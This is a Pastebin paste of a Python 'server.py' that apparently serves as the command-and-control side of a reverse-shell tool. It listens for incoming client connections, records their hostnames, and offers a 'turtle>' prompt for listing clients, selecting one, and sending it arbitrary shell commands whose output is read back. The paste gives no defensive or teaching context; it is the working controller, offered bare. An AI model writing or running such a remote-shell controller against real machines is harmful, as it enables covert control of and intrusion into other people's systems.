Advertisement
Guest User

server.py

a guest
Sep 26th, 2016
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.58 KB | None | 0 0
  1. import socket
  2. import threading
  3. import time
  4. import sys
  5. from queue import Queue
  6. import struct
  7. import signal
  8.  
  9. NUMBER_OF_THREADS = 2
  10. JOB_NUMBER = [1, 2]
  11. queue = Queue()
  12.  
  13. COMMANDS = {'help':['Shows this help'],
  14.             'list':['Lists connected clients'],
  15.             'select':['Selects a client by its index. Takes index as a parameter'],
  16.             'quit':['Stops current connection with a client. To be used when client is selected'],
  17.             'shutdown':['Shuts server down'],
  18.            }
  19.  
  20. class MultiServer(object):
  21.  
  22.     def __init__(self):
  23.         self.host = ''
  24.         self.port = 9999
  25.         self.socket = None
  26.         self.all_connections = []
  27.         self.all_addresses = []
  28.  
  29.     def print_help(self):
  30.         for cmd, v in COMMANDS.items():
  31.             print("{0}:\t{1}".format(cmd, v[0]))
  32.         return
  33.  
  34.     def register_signal_handler(self):
  35.         signal.signal(signal.SIGINT, self.quit_gracefully)
  36.         signal.signal(signal.SIGTERM, self.quit_gracefully)
  37.         return
  38.  
  39.     def quit_gracefully(self, signal=None, frame=None):
  40.         print('\nQuitting gracefully')
  41.         for conn in self.all_connections:
  42.             try:
  43.                 conn.shutdown(2)
  44.                 conn.close()
  45.             except Exception as e:
  46.                 print('Could not close connection %s' % str(e))
  47.                 # continue
  48.         self.socket.close()
  49.         sys.exit(0)
  50.  
  51.     def socket_create(self):
  52.         try:
  53.             self.socket = socket.socket()
  54.         except socket.error as msg:
  55.             print("Socket creation error: " + str(msg))
  56.             # TODO: Added exit
  57.             sys.exit(1)
  58.         self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  59.         return
  60.  
  61.     def socket_bind(self):
  62.         """ Bind socket to port and wait for connection from client """
  63.         try:
  64.             self.socket.bind((self.host, self.port))
  65.             self.socket.listen(5)
  66.         except socket.error as e:
  67.             print("Socket binding error: " + str(e))
  68.             time.sleep(5)
  69.             self.socket_bind()
  70.         return
  71.  
  72.     def accept_connections(self):
  73.         """ Accept connections from multiple clients and save to list """
  74.         for c in self.all_connections:
  75.             c.close()
  76.         self.all_connections = []
  77.         self.all_addresses = []
  78.         while 1:
  79.             try:
  80.                 conn, address = self.socket.accept()
  81.                 conn.setblocking(1)
  82.                 client_hostname = conn.recv(1024).decode("utf-8")
  83.                 address = address + (client_hostname,)
  84.             except Exception as e:
  85.                 print('Error accepting connections: %s' % str(e))
  86.                 # Loop indefinitely
  87.                 continue
  88.             self.all_connections.append(conn)
  89.             self.all_addresses.append(address)
  90.             print('\nConnection has been established: {0} ({1})'.format(address[-1], address[0]))
  91.         return
  92.  
  93.     def start_turtle(self):
  94.         """ Interactive prompt for sending commands remotely """
  95.         while True:
  96.             cmd = input('turtle> ')
  97.             if cmd == 'list':
  98.                 self.list_connections()
  99.                 continue
  100.             elif 'select' in cmd:
  101.                 target, conn = self.get_target(cmd)
  102.                 if conn is not None:
  103.                     self.send_target_commands(target, conn)
  104.             elif cmd == 'shutdown':
  105.                     queue.task_done()
  106.                     queue.task_done()
  107.                     print('Server shutdown')
  108.                     break
  109.                     # self.quit_gracefully()
  110.             elif cmd == 'help':
  111.                 self.print_help()
  112.             elif cmd == '':
  113.                 pass
  114.             else:
  115.                 print('Command not recognized')
  116.         return
  117.  
  118.     def list_connections(self):
  119.         """ List all connections """
  120.         results = ''
  121.         for i, conn in enumerate(self.all_connections):
  122.             try:
  123.                 conn.send(str.encode(' '))
  124.                 conn.recv(20480)
  125.             except:
  126.                 del self.all_connections[i]
  127.                 del self.all_addresses[i]
  128.                 continue
  129.             results += str(i) + '   ' + str(self.all_addresses[i][0]) + '   ' + str(
  130.                 self.all_addresses[i][1]) + '   ' + str(self.all_addresses[i][2]) + '\n'
  131.         print('----- Clients -----' + '\n' + results)
  132.         return
  133.  
  134.     def get_target(self, cmd):
  135.         """ Select target client
  136.        :param cmd:
  137.        """
  138.         target = cmd.split(' ')[-1]
  139.         try:
  140.             target = int(target)
  141.         except:
  142.             print('Client index should be an integer')
  143.             return None, None
  144.         try:
  145.             conn = self.all_connections[target]
  146.         except IndexError:
  147.             print('Not a valid selection')
  148.             return None, None
  149.         print("You are now connected to " + str(self.all_addresses[target][2]))
  150.         return target, conn
  151.  
  152.     def read_command_output(self, conn):
  153.         """ Read message length and unpack it into an integer
  154.        :param conn:
  155.        """
  156.         raw_msglen = self.recvall(conn, 4)
  157.         if not raw_msglen:
  158.             return None
  159.         msglen = struct.unpack('>I', raw_msglen)[0]
  160.         # Read the message data
  161.         return self.recvall(conn, msglen)
  162.  
  163.     def recvall(self, conn, n):
  164.         """ Helper function to recv n bytes or return None if EOF is hit
  165.        :param n:
  166.        :param conn:
  167.        """
  168.         # TODO: this can be a static method
  169.         data = b''
  170.         while len(data) < n:
  171.             packet = conn.recv(n - len(data))
  172.             if not packet:
  173.                 return None
  174.             data += packet
  175.         return data
  176.  
  177.     def send_target_commands(self, target, conn):
  178.         """ Connect with remote target client
  179.        :param conn:
  180.        :param target:
  181.        """
  182.         conn.send(str.encode(" "))
  183.         cwd_bytes = self.read_command_output(conn)
  184.         cwd = str(cwd_bytes, "utf-8")
  185.         print(cwd, end="")
  186.         while True:
  187.             try:
  188.                 cmd = input()
  189.                 if len(str.encode(cmd)) > 0:
  190.                     conn.send(str.encode(cmd))
  191.                     cmd_output = self.read_command_output(conn)
  192.                     client_response = str(cmd_output, "utf-8")
  193.                     print(client_response, end="")
  194.                 if cmd == 'quit':
  195.                     break
  196.             except Exception as e:
  197.                 print("Connection was lost %s" %str(e))
  198.                 break
  199.         del self.all_connections[target]
  200.         del self.all_addresses[target]
  201.         return
  202.  
  203.  
  204. def create_workers():
  205.     """ Create worker threads (will die when main exits) """
  206.     server = MultiServer()
  207.     server.register_signal_handler()
  208.     for _ in range(NUMBER_OF_THREADS):
  209.         t = threading.Thread(target=work, args=(server,))
  210.         t.daemon = True
  211.         t.start()
  212.     return
  213.  
  214.  
  215. def work(server):
  216.     """ Do the next job in the queue (thread for handling connections, another for sending commands)
  217.    :param server:
  218.    """
  219.     while True:
  220.         x = queue.get()
  221.         if x == 1:
  222.             server.socket_create()
  223.             server.socket_bind()
  224.             server.accept_connections()
  225.         if x == 2:
  226.             server.start_turtle()
  227.         queue.task_done()
  228.     return
  229.  
  230. def create_jobs():
  231.     """ Each list item is a new job """
  232.     for x in JOB_NUMBER:
  233.         queue.put(x)
  234.     queue.join()
  235.     return
  236.  
  237. def main():
  238.     create_workers()
  239.     create_jobs()
  240.  
  241.  
  242. if __name__ == '__main__':
  243. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement